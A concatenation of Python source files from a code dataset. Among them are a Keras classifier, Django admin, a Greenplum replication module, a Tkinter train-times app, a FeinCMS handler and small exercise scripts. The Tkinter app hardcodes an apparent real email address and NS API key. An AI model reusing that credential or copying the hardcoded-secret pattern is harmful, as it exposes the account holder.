filters=n_filters, kernel_size=(3, 3),\n activation='relu', padding='same', strides=(2, 2)\n ))\n\n return model_layers\n\ndef get_fashion_classifier_model(model_path, num_classes):\n\n # Create and build the model from layers, print model info\n fashion_class_model = ks.models.Sequential()\n # fashion_class_model = [ks.layers.InputLayer(input_shape=(28, 28,1))]\n\n weights_model = ks.models.Sequential(get_fashion_encoder_model())\n weights_model.load_weights(model_path)\n\n for layer in weights_model.layers[:len(get_fashion_encoder_model())]:\n layer.trainable = False\n fashion_class_model.add(layer)\n\n\n fashion_class_model.add(ks.layers.Dropout(0.2))\n fashion_class_model.add(ks.layers.Dense(40, activation='relu'))\n fashion_class_model.add(ks.layers.Dropout(0.2))\n fashion_class_model.add(ks.layers.Dense(num_classes, activation='softmax'))\n\n\n\n return fashion_class_model\n","sub_path":"fashion_utils.py","file_name":"fashion_utils.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"344158833","text":"from django.contrib import admin\n\nfrom trephub.blog import models\n\n\nclass BlogEntryAdmin(admin.ModelAdmin):\n list_display = ('title', 'author', 'is_public', 'created', 'published')\n list_filter = ('author', 'is_public', 'published')\n search_fields = ('title', 'author__username', 'author__first_name',\n 'author__last_name', 'content')\n\n readonly_fields = ('author', 'created', 'updated', 'published')\n prepopulated_fields = {'slug': ('title',)}\n fieldsets = (\n (None, {\n 'fields': ('title', 'slug', 'is_public',),\n }),\n ('Metadata', {\n 'fields': ('author', 'created', 'updated', 'published'),\n }),\n ('Post', {\n 'fields': ('summary', 'content'),\n }),\n )\n\n def save_model(self, request, obj, form, change):\n if not change:\n obj.author = request.user\n obj.save()\nadmin.site.register(models.BlogEntry, BlogEntryAdmin)\n","sub_path":"trephub/blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"313392522","text":"from sqlalchemy import Column, Integer, String, Sequence, ForeignKey\nfrom sqlalchemy.orm import relationship\nfrom meta import Base\nfrom meta import session\n\nfrom logger import logger\nimport table\nimport source\nimport psycopg2\n\nclass Destination(Base):\n __tablename__ = 'destination'\n\n id = Column(Integer, Sequence('datagrid_id_seq'), primary_key=True)\n name = Column(String)\n type = Column(String)\n\n __mapper_args__ = {'polymorphic_on': type}\n\n connected = False\n\n def _connect_destination(self):\n pass\n\n def _disconnect_destination(self):\n pass\n\n def connect(self):\n if not self.connected:\n self._connect_destination();\n self.connected = True\n\n def disconnect(self):\n if self.connected:\n self._disconnect_destination()\n self.connected = False\n\n def init_empty_target_table_in_destination(self, table):\n pass\n\n def init_external_keys_table_in_destinnation(self, table):\n pass\n\n def init_external_table_in_destination(self, table):\n pass\n\n def ls_origbatch(self, unload):\n pass\n\n def delete_from_target_by_unload(self, unload):\n pass\n\n def insert_target_by_unload(self, unload):\n pass\n\nclass GreenplumDestination(Destination):\n __tablename__ = 'greenplum_destination'\n\n id = Column(Integer, ForeignKey('destination.id'), primary_key=True)\n host = Column(String)\n port = Column(Integer)\n user = Column(String)\n password = Column(String)\n dbname = Column(String)\n table_schema_pefix = Column(String)\n gpfdist_host = Column(String)\n gpfdist_port = Column(Integer)\n\n __mapper_args__ = {'polymorphic_identity': 'greenplum'}\n\n def _gp_data_type_resolver(self, col):\n gp_type = None\n if col.type == 'NUMBER':\n gp_type = 'numeric' if col.precision is None else f'numeric({col.length}, {col.precision or 0})'\n elif col.type in ('VARCHAR2', 'NVARCHAR2'):\n gp_type = f'varchar({col.length})'\n elif col.type in ('CHAR', 'NCHAR'):\n gp_type = f'char({col.length})'\n elif col.type == 'DATE' or col.type.find('TIMESTAMP') != -1:\n gp_type = 'timestamp'\n elif col.type in ('FLOAT', 'BINARY_DOUBLE'):\n gp_type = 'numeric(38, 10)'\n elif col.type == 'RAW':\n gp_type = 'bytea'\n elif col.type in ('CLOB', 'NCLOB', 'BLOB'):\n gp_type = 'text'\n #TODO: really raise? return text and replicate_flag = False?\n if gp_type is None:\n raise Exception(f'could not determine type of column ')\n return gp_type\n\n def _connect_destination(self):\n self.dst = psycopg2.connect(\n host=self.host,\n port=self.port,\n database=self.dbname,\n user=self.user,\n password=self.password\n )\n self.cur = self.dst.cursor()\n\n def _disconnect_destination(self):\n #TODO: commit as a patameter to destination?\n self.dst.commit()\n self.cur.close()\n self.dst.close()\n\n def init_external_table_in_destination(self, table):\n logger.info(f'start init external table {table.source_table_schema}.{table.source_table_name} in destination')\n\n if not self.connected:\n raise Exception(\"destination need to be connected before init target replica\")\n\n dt = session.query(GreenplumDestinationTable).\\\n filter_by(destination_id=self.id).\\\n filter_by(table_id=table.id).\\\n one()\n\n self.cur.execute(\n f\"select exists(select 1 from information_schema.schemata where schema_name = %s)\",\n (dt.ext_table_schema, )\n )\n schema_exists = self.cur.fetchone()[0]\n if not schema_exists:\n logger.info(f'schema {dt.ext_table_schema} does not ixists')\n self.cur.execute(f'create schema {dt.ext_table_schema}')\n self.dst.commit()\n logger.info(f'schema {dt.ext_table_schema} was created')\n\n self.cur.execute(\n f\"drop external table if exists {dt.ext_table_schema}.{dt.ext_table_name}\"\n )\n seq_column = table.source.source_type.service_columns.filter_by(type='S').one()\n columns = seq_column.name + ' text,' + ','.join(\n c.name + ' ' + self._gp_data_type_resolver(c) for c in table.columns\n # if c.key_position is not None\n )\n location = f'gpfdist://{self.gpfdist_host}:{self.gpfdist_port}/' \\\n f'{table.source.name}/{table.source_table_schema}/{table.source_table_name}.rep.*.csv.gz'\n format = ''' 'csv' (delimiter '|' escape '\"' quote '\"') encoding 'WIN1251' '''\n create_table_stmt = f\"create external table {dt.ext_table_schema}.{dt.ext_table_name} ({columns}) location ('{location}') format {format}\"\n\n\n logger.info(f'the create table statement is {create_table_stmt}')\n self.cur.execute(create_table_stmt)\n logger.info(f'table {dt.ext_table_schema}.{dt.table_name} was created in target database')\n self.dst.commit()\n\n def init_empty_target_table_in_destination(self, table):\n logger.info(f'start init table {table.source_table_schema}.{table.source_table_name} in destination')\n\n if not self.connected:\n raise Exception(\"destination need to be connected before init target replica\")\n\n dt = session.query(GreenplumDestinationTable).\\\n filter_by(destination_id=self.id).\\\n filter_by(table_id=table.id).\\\n one()\n\n self.cur.execute(\n f\"select exists(select 1 from information_schema.tables where \"\n f\"table_schema = %s and table_name = %s and table_type = 'BASE TABLE')\",\n (dt.table_schema, dt.table_name)\n )\n table_exists = self.cur.fetchone()[0]\n if table_exists:\n logger.info(f'table {dt.table_schema}.{dt.table_name} already exists in target database')\n return\n\n self.cur.execute(\n f\"select exists(select 1 from information_schema.schemata where schema_name = %s)\",\n (dt.table_schema, )\n )\n schema_exists = self.cur.fetchone()[0]\n if not schema_exists:\n logger.info(f'schema {dt.table_schema} does not ixists')\n self.cur.execute(f'create schema {dt.table_schema}')\n self.dst.commit()\n logger.info(f'schema {dt.table_schema} was created')\n\n columns = ','.join(c.name + ' ' + self._gp_data_type_resolver(c) for c in table.columns)\n columns += ',processed_dttm timestamp'\n distribution = ','.join(c.name for c in table.columns.filter_by(key_column=True))\n\n #TODO: get compression parameters from repository\n create_table_stmt = f\"create table {dt.table_schema}.{dt.table_name} ({columns}) \" \\\n f\"WITH (APPENDONLY=true, COMPRESSLEVEL=1, ORIENTATION=column, COMPRESSTYPE=QUICKLZ,OIDS=FALSE) \" \\\n f\"distributed by ({distribution})\"\n logger.info(f'the create table statement is {create_table_stmt}')\n self.cur.execute(create_table_stmt)\n logger.info(f'external table {create_table_stmt} was created in targed database')\n self.dst.commit()\n\n def init_external_keys_table_in_destinnation(self, table):\n if not self.connected:\n raise Exception(\"destination need to be connected before init external keys table\")\n\n dt = session.query(GreenplumDestinationTable).\\\n filter_by(destination_id=self.id).\\\n filter_by(table_id=table.id).\\\n one()\n\n self.cur.execute(\n f\"select exists(select 1 from information_schema.schemata where schema_name = %s)\",\n (dt.ext_table_schema,)\n )\n schema_exists = self.cur.fetchone()[0]\n if not schema_exists:\n logger.info(f'schema {dt.ext_table_schema} does not ixists')\n self.cur.execute(f'create schema {dt.ext_table_schema}')\n self.dst.commit()\n logger.info(f'schema {dt.ext_table_schema} was created')\n\n self.cur.execute(\n f\"drop external table if exists {dt.ext_table_schema}.{dt.ext_keys_table_name}\"\n )\n seq_column = table.source.source_type.service_columns.filter_by(type='S').one()\n columns = seq_column.name + ' text,' + ','.join(\n c.name + ' ' + self._gp_data_type_resolver(c) for c in table.columns.filter_by(key_column=True) # if c.key_position is not None\n )\n location = f'gpfdist://{self.gpfdist_host}:{self.gpfdist_port}/' \\\n f'{table.source.name}/{table.source_table_schema}/{table.source_table_name}.keys.*.csv.gz'\n format = ''' 'csv' (delimiter '|' escape '\"' quote '\"') encoding 'WIN1251' '''\n create_table_stmt = f\"create external table {dt.ext_table_schema}.{dt.ext_keys_table_name} ({columns}) location ('{location}') format {format}\"\n logger.info(f'the create external keys table statement is {create_table_stmt}')\n self.cur.execute(create_table_stmt)\n logger.info(f'external keys table {create_table_stmt} was created in targed database')\n self.dst.commit()\n\n def ls_origbatch(self, unload):\n #TODO: think about check\n min_recid = session.query(source.Export).filter_by(id=unload.min_export_id).one().min_recid if unload.min_export_id is not None else None\n max_recid = session.query(source.Export).filter_by(id=unload.max_export_id).one().max_recid\n seq_column = unload.table.source.source_type.service_columns.filter_by(type = 'S').one()\n if seq_column is None:\n raise Exception('could not find sequence column')\n min_key_clause = f\"{seq_column.name} > '{min_recid}' and \" if min_recid is not None else ''\n max_key_clause = f\"{seq_column.name} <= '{max_recid}'\"\n\n dt = session.query(GreenplumDestinationTable).\\\n filter_by(table_id=unload.table.id).\\\n filter_by(destination_id=self.id).\\\n one()\n column_list = \"'N' as \" + seq_column.name + ',' + ','.join('tab.'+c.name for c in unload.table.columns)\n key_columns = unload.table.columns.filter_by(key_column=True).all()\n statement = f\"select {column_list} from {dt.table_schema}.{dt.table_name} tab inner join \" \\\n f\"(select distinct {','.join(c.name for c in key_columns)} \" \\\n f\"from {dt.ext_table_schema}.{dt.ext_keys_table_name} \" \\\n f\"where {min_key_clause} {max_key_clause}) keys on \" \\\n f\"({'and'.join('tab.' + c.name + '=keys.' + c.name for c in key_columns)})\"\n logger.info(f'statement is {statement}')\n\n #TODO: what is real fetch count and encoding?\n return {\n 'type': 'postgres',\n 'connection_string': f'host={self.host} port={self.port} dbname={self.dbname} user={self.user} password={self.password}',\n 'statement': statement,\n 'fetch_rows_count': 1000,\n 'client_encoding': 'UTF-8'\n }\n\n def delete_from_target_by_unload(self, unload):\n if not self.connected:\n raise Exception(\"destination need to be connected for deleting from target by unload\")\n\n min_recid = session.query(source.Export).filter_by(id=unload.min_export_id).one().min_recid if unload.min_export_id is not None else None\n max_recid = session.query(source.Export).filter_by(id=unload.max_export_id).one().max_recid\n seq_column = unload.table.source.source_type.service_columns.filter_by(type='S').one()\n if seq_column is None:\n raise Exception('could not find sequence column')\n min_key_clause = f\"{seq_column.name} > '{min_recid}' and \" if min_recid is not None else ''\n max_key_clause = f\"{seq_column.name} <= '{max_recid}'\"\n\n dt = session.query(GreenplumDestinationTable).\\\n filter(DestinationTable.destination_id == self.id).\\\n filter(DestinationTable.table_id == unload.table_id).\\\n one()\n key_columns = unload.table.columns.filter_by(key_column=True).all()\n delete_stmt = f\"delete from {dt.table_schema}.{dt.table_name} d using \" \\\n f\"(select {','.join(col.name for col in key_columns)} from {dt.ext_table_schema}.{dt.ext_keys_table_name} \" \\\n f\"where {min_key_clause} {max_key_clause}) k where {'and'.join('d.' + c.name + '=k.' + c.name for c in key_columns)}\"\n logger.info(f'delete statement is {delete_stmt}')\n self.cur.execute(delete_stmt)\n logger.info(f'delete statement executed')\n return self.cur.rowcount\n\n def insert_target_by_unload(self, unload):\n if not self.connected:\n raise Exception(\"destination need to be connected for deleting from target by unload\")\n\n min_recid = session.query(source.Export).filter_by(id=unload.min_export_id).one().min_recid if unload.min_export_id is not None else None\n max_recid = session.query(source.Export).filter_by(id=unload.max_export_id).one().max_recid\n seq_column = unload.table.source.source_type.service_columns.filter_by(type='S').one()\n if seq_column is None:\n raise Exception('could not find sequence column')\n dt = session.query(GreenplumDestinationTable). \\\n filter(DestinationTable.destination_id == self.id). \\\n filter(DestinationTable.table_id == unload.table_id). \\\n one()\n\n columns_list = ','.join(c.name for c in unload.table.columns)\n where_clause = f\"where {seq_column.name} >= '{min_recid}' and \" if min_recid is not None else None\n where_clause = (where_clause if where_clause is not None else 'where ') + f\"{seq_column.name} <= '{max_recid}'\"\n insert_stmt = f\"insert into {dt.table_schema}.{dt.table_name} ({columns_list},processed_dttm) \" \\\n f\"select {columns_list},now() from {dt.ext_table_schema}.{dt.ext_table_name} {where_clause}\"\n logger.info(f'insert statement is {insert_stmt}')\n self.cur.execute(insert_stmt)\n logger.info(f'insert statement executed')\n return self.cur.rowcount\n\nclass KafkaDestination(Destination):\n __tablename__ = 'kafka_destination'\n\n id = Column(Integer, ForeignKey('destination.id'), primary_key=True)\n broker_ip = Column(String)\n basic_producer_params = Column(String)\n\n __mapper_args__ = {'polymorphic_identity': 'kafka'}\n\nclass DestinationTable(Base):\n __tablename__ = 'destination_table'\n\n id = Column(Integer, Sequence('destination_table_seq'), primary_key=True)\n table_id = Column(Integer, ForeignKey('table.id'))\n destination_id = Column(Integer, ForeignKey('destination.id'))\n type = Column(String)\n #TODO: design initial parameters here\n\n table = relationship('Table', uselist=False)\n destination = relationship('Destination', uselist=False)\n\n __mapper_args__ = {'polymorphic_on': type}\n\nclass GreenplumDestinationTable(DestinationTable):\n __tablename__ = 'greenplum_destination_table'\n\n id = Column(Integer, ForeignKey('destination_table.id'), primary_key=True)\n table_schema = Column(String)\n ext_table_schema = Column(String)\n table_name = Column(String)\n ct_table_name = Column(String)\n temp_table_name = Column(String)\n ext_table_name = Column(String)\n ext_ct_table_name = Column(String)\n ext_keys_table_name = Column(String)\n ext_init_table_name = Column(String)\n\n\n __mapper_args__ = {'polymorphic_identity': 'greenplum'}\n","sub_path":"destination.py","file_name":"destination.py","file_ext":"py","file_size_in_byte":15534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"294577294","text":"def sol():\n n = int(input())\n # 2000 is a upperbound of answer\n # 5001 is a maximum of input\n save = [2000] * (5001)\n save[3], save[5] = 1, 1\n for i in range(6, n + 1):\n save[i] = min(save[i - 3], save[i - 5]) + 1\n print(save[n] < 2000 and save[n] or -1)\n\n\nif __name__ == \"__main__\":\n sol()\n","sub_path":"2839/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"596877542","text":"from selenium import webdriver\nimport time\nimport math\n\n\"\"\"Поиск картинки с помощью get_attribute\"\"\"\n\"\"\"Задачка:\n1.Открыть страницу.\n2.Найти на ней элемент-картинку, который является изображением сундука с сокровищами.\n3.Взять у этого элемента значение атрибута valuex, которое является значением x для задачи.\n4.Посчитать математическую функцию от x.\n5.Ввести ответ в текстовое поле.\n6.Отметить checkbox \"I'm the robot\".\n7.Выбрать radiobutton \"Robots rule!\".\n8.Нажать на кнопку \"Submit\".\"\"\"\n\nlink = \"http://suninjuly.github.io/get_attribute.html\"\n\nbrowser = webdriver.Chrome()\nbrowser.get(link)\n\ndef calc(x):\n return str(math.log(abs(12 * math.sin(int(x))))) # создаем функцию для просчета\n\ntry:\n x_element = browser.find_element_by_xpath('//img[@id=\"treasure\"]') # ищем изображение img\n x = x_element.get_attribute('valuex') # получаем атрибут valuex\n y = calc(x) # создаем новую переменную, вставляем значение атрибута valuex\n\n input1 = browser.find_element_by_id(\"answer\") # ищем поле ввода\n input1.send_keys(y) # в поля ввода вставляем наше значение посчитан на калькул\n checkbox = browser.find_element_by_id(\"robotCheckbox\") # ищем checkbox\n checkbox.click()\n radiobutton = browser.find_element_by_id(\"robotsRule\") # ищем radiobutton\n radiobutton.click()\n\n button = browser.find_element_by_xpath('//button[text()=\"Submit\"]') # ищем кнопку отправить\n button.click()\n\nfinally:\n time.sleep(5)\n\n browser.quit() # закрываем браузер после всех манипуляций\n\n# не забываем оставить пустую строку в конце файла\n","sub_path":"lesson_2_1_7.py","file_name":"lesson_2_1_7.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"3763913","text":"#\n#introdução a programação de computadores\n#Professor: Jucimar JR\n#EQUIPE 3\n#\n#Antonio Rodrigues de Souza Neto - 1615310028\n#Caio de Oliveira Martins - 1615310031\n#Calebe Roberto Chaves da Silva Rebello - 1615310043\n#Felipe Henrique Bastos Costa - 1615310032\n#Lorene da Silva Marques - 1615310013\n#\n\npop_A = 80000 \npop_B = 200000\nanos = 0\ncresc_A = 0.03\ncresc_B = 0.015\n\nwhile (pop_A < pop_B):\n anos = anos+1\n pop_A = (pop_A + (pop_A * cresc_A))\n pop_B = (pop_B + (pop_B * cresc_B))\n\nprint (\"Apos\", anos, \"anos a populacao A superou a de B\")\nprint (\"Populacao de A: \", pop_A)\nprint (\"Populacao de B: \", pop_B)\n","sub_path":"lista3/ipc_lista3.04.py","file_name":"ipc_lista3.04.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"472900504","text":"import tkinter as tk\nimport webbrowser\nfrom tkinter import *\nimport requests\nimport xmltodict\n\nTITLE_FONT = (\"Verdana\", 45, \"bold\")\nBUTTON_FONT = (\"Arial\", 20, \"bold\")\n\nclass TestNSApp(tk.Tk):\n\n def __init__(self, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n\n # the container is where we'll stack a bunch of frames\n # on top of each other, then the one we want visible\n # will be raised above the others\n container = tk.Frame(self)\n container.pack(side=\"top\", fill=\"both\", expand=True)\n container.grid_rowconfigure(0, weight=1)\n container.grid_columnconfigure(0, weight=1)\n\n\n self.frames = {}\n for F in (Begin, Pagina1, Pagina2, Pagina3):\n frame = F(container, self)\n self.frames[F] = frame\n # put all of the pages in the same location;\n # the one on the top of the stacking order\n # will be the one that is visible.\n frame.grid(row=0, column=0, sticky=\"nsew\")\n\n self.show_frame(Begin)\n\n def show_frame(self, c):\n '''Show a frame for the given class'''\n frame = self.frames[c]\n frame.tkraise()\n\n\nclass Begin(tk.Frame):\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n tk.Frame.config(self, bg=\"gold\")\n label = tk.Label(self,bg=\"gold\", fg=\"darkblue\", text=\"NS Vertrektijden\", font=BUTTON_FONT)\n label.pack(side=\"top\", fill=\"x\", pady=10)\n\n #reis informatie\n button1 = tk.Button(self, bg=\"gold\", fg=\"gold\", text=\"Reis Informatie \",\n command=lambda: controller.show_frame(Pagina1))\n button1.config(bg=\"navy\", fg=\"white\")\n button1.pack(side=tk.TOP)\n button1.place(x=600, y=250)\n\n\n #button: Storingen\n url = 'http://www.ns.nl/storingen/'\n def OpenUrl(url):\n webbrowser.open_new(url)\n\n button4 = tk.Button(self, bg=\"gold\", fg=\"gold\", text=\"Meld een storing \",\n command=lambda aurl=url:OpenUrl(url))\n button4.config(bg=\"navy\", fg=\"white\")\n button4.pack(side=tk.TOP)\n button4.place(x=600, y=300)\n\n #button: Chipkaart kopen\n url2 = 'http://ov-chipkaart-kopen.nl/'\n def OpenUrl(url2):\n webbrowser.open_new(url2)\n\n button5 = tk.Button(self, bg=\"gold\", fg=\"gold\", text=\"OV-Chipkaart kopen \",\n command=lambda aurl=url:OpenUrl(url2))\n button5.config(bg=\"navy\", fg=\"white\")\n button5.pack(side=tk.TOP)\n button5.place(x=850, y=250)\n\n #button: Internationaal reizen\n url3 = 'https://www.nsinternational.nl/'\n def OpenUrl(url3):\n webbrowser.open_new(url3)\n\n button3 = tk.Button(self, bg=\"gold\", fg=\"gold\", text=\"Reizen in het buitenland\",\n command=lambda aurl=url:OpenUrl(url3))\n button3.config(bg=\"navy\", fg=\"white\")\n button3.pack(side=tk.TOP)\n button3.place(x=850, y=300)\n\nclass Pagina1(tk.Frame):\n\n\n\n def __init__(self, parent, controller):\n auth_details = (\"frenkgoes@hotmail.com\", \"lng4_D_JwHC7P4dO43oue-OVrS1gsJbr99-t__9H2eqW9HWcOr8m_w\")\n def schrijf_xml(response):\n \"\"\"Maakt de actuele .xml van de API van de NS.\"\"\"\n bestand = open('stations.xml', 'w')\n bestand.write(str(response.text))\n bestand.close()\n tk.Frame.__init__(self, parent)\n tk.Frame.config(self, bg=\"gold\")\n label = tk.Label(self, bg=\"gold\", fg=\"darkblue\", text=\"Actuele reisinformatie\", font=TITLE_FONT)\n label.pack(side=\"top\", fill=\"x\", pady=10)\n label3 = tk.Label(self, bg=\"gold\", fg=\"darkblue\", text=\"Opstapplaats\", font=BUTTON_FONT)\n label3.pack(side=\"top\", fill=\"x\", pady=10)\n entry = tk.Entry(self)\n entry.pack(side=\"top\", fill=\"y\", pady=2)\n while True: #Spelling check voor de 1e input (het beginstation).\n entry = input(\"Voer uw beginstation in: \")\n response = requests.get(\"http://webservices.ns.nl/ns-api-avt?station=\" + entry, auth=auth_details)\n stations_dict = xmltodict.parse(response.text)\n if \"error\" in stations_dict:\n print(\"Controleer uw spelling en probeer het opnieuw.\")\n continue\n else:\n break\n\n label4 = tk.Label(self, bg=\"gold\", fg=\"darkblue\", text=\"Eindbestemming\", font=BUTTON_FONT)\n label4.pack(side=\"top\", fill=\"x\", pady=10)\n while True: #Spelling check voor de 2de input (het eindstation).\n entry2 = input(\"Voer uw eindstation in: \")\n response = requests.get(\"http://webservices.ns.nl/ns-api-avt?station=\" + entry2, auth=auth_details)\n stations_dict = xmltodict.parse(response.text)\n if 'error' in stations_dict:\n print(\"Controleer uw spelling en probeer het opnieuw.\")\n continue\n else:\n response = requests.get(\"http://webservices.ns.nl/ns-api-avt?station=\" + entry, auth=auth_details)\n break\n schrijf_xml(response)\n\n button5 = tk.Button(self, text=\"Plan uw reis\",\n command=lambda: controller.show_frame(Pagina1))\n stations_dict = xmltodict.parse(response.text)\n for i in stations_dict['ActueleVertrekTijden']['VertrekkendeTrein']: #Gaat door de .xml en haalt alle belangrijke informatie eruit\n vertrekkende_trein = dict(i)\n route_tekst = vertrekkende_trein['RouteTekst'] if \"RouteTekst\" in vertrekkende_trein else \"-\"\n vertraging = vertrekkende_trein['VertrekVertragingTekst'] if \"VertrekVertragingTekst\" in vertrekkende_trein else \"\"\n if entry.lower() in route_tekst.lower() or entry2.lower() in vertrekkende_trein['EindBestemming'].lower():\n print(\"Trein naar: \" + vertrekkende_trein['EindBestemming'] +\n \"\\nKomt langs: \" + route_tekst +\n \"\\nSpoor: \" + vertrekkende_trein['VertrekSpoor']['#text'] +\n \"\\nVertrekt om: \" + vertrekkende_trein['VertrekTijd'][11:16] + \" \" + vertraging +\n \"\\nTreinsoort: \" + vertrekkende_trein['TreinSoort'] + \"\\n\")\n button5.config(bg=\"navy\", fg=\"white\")\n button5.pack(side=tk.LEFT)\n button5.place(x=760, y=300)\n entry2 = tk.Entry(self)\n entry2.pack(side=\"top\", fill=\"y\", pady=2)\n text = tk.Text(self)\n text.pack(side=\"bottom\", fill=\"y\", pady=2)\n text.place(x=475, y=450)\n\n\nclass Pagina2(tk.Frame):\n\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n tk.Frame.config(self, bg=\"Gold\")\n label = tk.Label(self, text=\"Utrecht Centraal\", font=TITLE_FONT)\n label.pack(side=\"top\", fill=\"x\", pady=10)\n button = tk.Button(self, text=\"Ga naar begin\",\n command=lambda: controller.show_frame(Begin))\n button.config(bg=\"navy\", fg=\"white\")\n button.pack()\n\nclass Pagina3(tk.Frame):\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n tk.Frame.config(self, bg=\"gold\")\n label = tk.Label(self, text=\"Informatie storing\", font=TITLE_FONT)\n label.pack(side=\"top\", fill=\"x\", pady=10)\n\n\n\n\n\nif __name__ == \"__main__\":\n app = TestNSApp()\n app.mainloop()\n\n","sub_path":"GUI-Interface.py","file_name":"GUI-Interface.py","file_ext":"py","file_size_in_byte":7523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"504531770","text":"from django.contrib.auth.decorators import permission_required\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.template import RequestContext\nfrom django.utils.cache import add_never_cache_headers\ntry:\n from django.template.response import TemplateResponse\nexcept ImportError:\n TemplateResponse = None\n\nfrom feincms.module.page.models import Page\n\n\nclass Handler(object):\n \"\"\"\n This is the default handler for feincms page content.\n\n It isn't a class-based-view like those in Django's generic view framework.\n State should not be stored on the ``Handler`` class, because of thread-safety\n and cross polination issues.\n \"\"\"\n\n def __call__(self, request, path=None):\n return self.build_response(request,\n Page.objects.page_for_path_or_404(path or request.path))\n\n def build_response(self, request, page):\n \"\"\"\n Calls `prepare`, `render` and `finalize`, in this order.\n \"\"\"\n\n response = self.prepare(request, page)\n if response:\n return response\n\n response = self.render(request, page)\n return self.finalize(request, response, page)\n\n def prepare(self, request, page):\n \"\"\"\n Prepare / pre-process content types. If this method returns anything,\n it is treated as a ``HttpResponse`` and handed back to the visitor.\n \"\"\"\n\n response = page.setup_request(request)\n if response:\n return response\n\n for content in page.content.all_of_type(tuple(page._feincms_content_types_with_process)):\n r = content.process(request)\n if r:\n return r\n\n def render(self, request, page):\n \"\"\"\n The render step. Must return a HttpResponse.\n \"\"\"\n\n # This facility can be used by request processors to add values\n # to the context.\n context = request._feincms_extra_context\n context['feincms_page'] = page\n\n if TemplateResponse:\n return TemplateResponse(request, page.template.path, context)\n else:\n return render_to_response(page.template.path,\n context_instance=RequestContext(request, context))\n\n def finalize(self, request, response, page):\n \"\"\"\n Runs finalize() on content types having such a method, adds headers and\n returns the final response.\n \"\"\"\n\n for content in page.content.all_of_type(tuple(page._feincms_content_types_with_finalize)):\n r = content.finalize(request, response)\n if r:\n return r\n\n page.finalize_response(request, response)\n\n # Add never cache headers in case frontend editing is active\n if hasattr(request, \"session\") and request.session.get('frontend_editing', False):\n add_never_cache_headers(response)\n\n return response\n\n#: Default handler\nhandler = Handler()\n\n\nclass PreviewHandler(Handler):\n \"\"\"\n This handler is for previewing site content; it takes a page_id so\n the page is uniquely identified and does not care whether the page\n is active or expired. To balance that, it requires a logged in user.\n \"\"\"\n\n def __call__(self, request, page_id):\n page = get_object_or_404(Page, pk=page_id)\n return self.build_response(request, page)\n\n def finalize(self, request, response, page):\n \"\"\"\n Do (nearly) nothing. Do not call any ``finalize`` methods,\n because those might add stuff to the cache, set ETags etc.\n all of which we cannot use in a preview handler.\n \"\"\"\n\n add_never_cache_headers(response)\n return response\n\n\n#: Preview handler\npreview_handler = permission_required('page.change_page')(PreviewHandler())\n","sub_path":"feincms/views/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"301476379","text":"class Solution:\n def maximalSquare(self, matrix: List[List[str]]) -> int:\n # 求最大面积,找最大边长\n # 状态数组 dp[i][j] = min(dp[i][j - 1], dp[i - 1][j], dp[i - 1][j - 1]) + 1\n # 以(i, j)为右下角的正方形的边长\n # m, n = len(matrix), len(matrix[0])\n # dp = [[0 for _ in range(n + 1)] for _ in range(m + 1)]\n # res = 0\n # for i in range(m):\n # for j in range(n):\n # if matrix[i][j] == '1':\n # dp[i + 1][j + 1] = min(dp[i + 1][j], dp[i][j + 1], dp[i][j]) + 1\n # res = max(res, dp[i + 1][j + 1])\n # return res * res\n\n # 状态压缩\n m, n = len(matrix), len(matrix[0])\n dp = [0] * (n + 1)\n res = 0\n for i in range(m):\n pre = 0\n for j in range(n):\n tmp = dp[j]\n dp[j] = min(pre, dp[j], dp[j - 1]) + 1 if matrix[i][j] == '1' else 0\n pre = tmp\n res = max(res, dp[j])\n return res * res","sub_path":"Week_06/leetcode221.py","file_name":"leetcode221.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"168759207","text":"from .base_entity import BaseEntity\n\nclass Post(BaseEntity):\n def __init__(self, *, id='', title='', content=''):\n self.id = id\n self.title = title\n self.content = content\n\n def serialize(self):\n return {\n 'id': str(self.id),\n 'title': self.title,\n 'content': self.content\n }\n","sub_path":"backend/entities/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"331021138","text":"import re\nfrom bs4 import BeautifulSoup\nimport requests\n\n\nclass WebSearch:\n\n SEARCH_URL = 'https://www.google.co.jp/search?q={}'\n\n regex_date = re.compile(r'\\d+年\\d+月\\d+日 ... ')\n\n @classmethod\n def _extract_title(cls, card_bs):\n title_bs = card_bs.find('h3')\n return title_bs.string if title_bs else None\n\n @classmethod\n def _extract_description(cls, card_bs):\n st = card_bs.find('span', class_='st')\n\n if not st:\n return None\n\n raw_description = st.get_text()\n description = ''.join(raw_description.split('\\n'))\n description = cls.regex_date.sub('', description) # 冒頭の日付情報を削除する\n\n return description\n\n @classmethod\n def search(cls, query):\n html = requests.get(cls.SEARCH_URL.format(query)).text\n soup = BeautifulSoup(html, 'lxml')\n\n results = []\n\n for card_bs in soup.find_all('div', class_='g'):\n title = cls._extract_title(card_bs)\n if not title:\n continue\n description = cls._extract_description(card_bs)\n if not description:\n continue\n\n results.append({\n 'title': title,\n 'description': description,\n })\n\n return 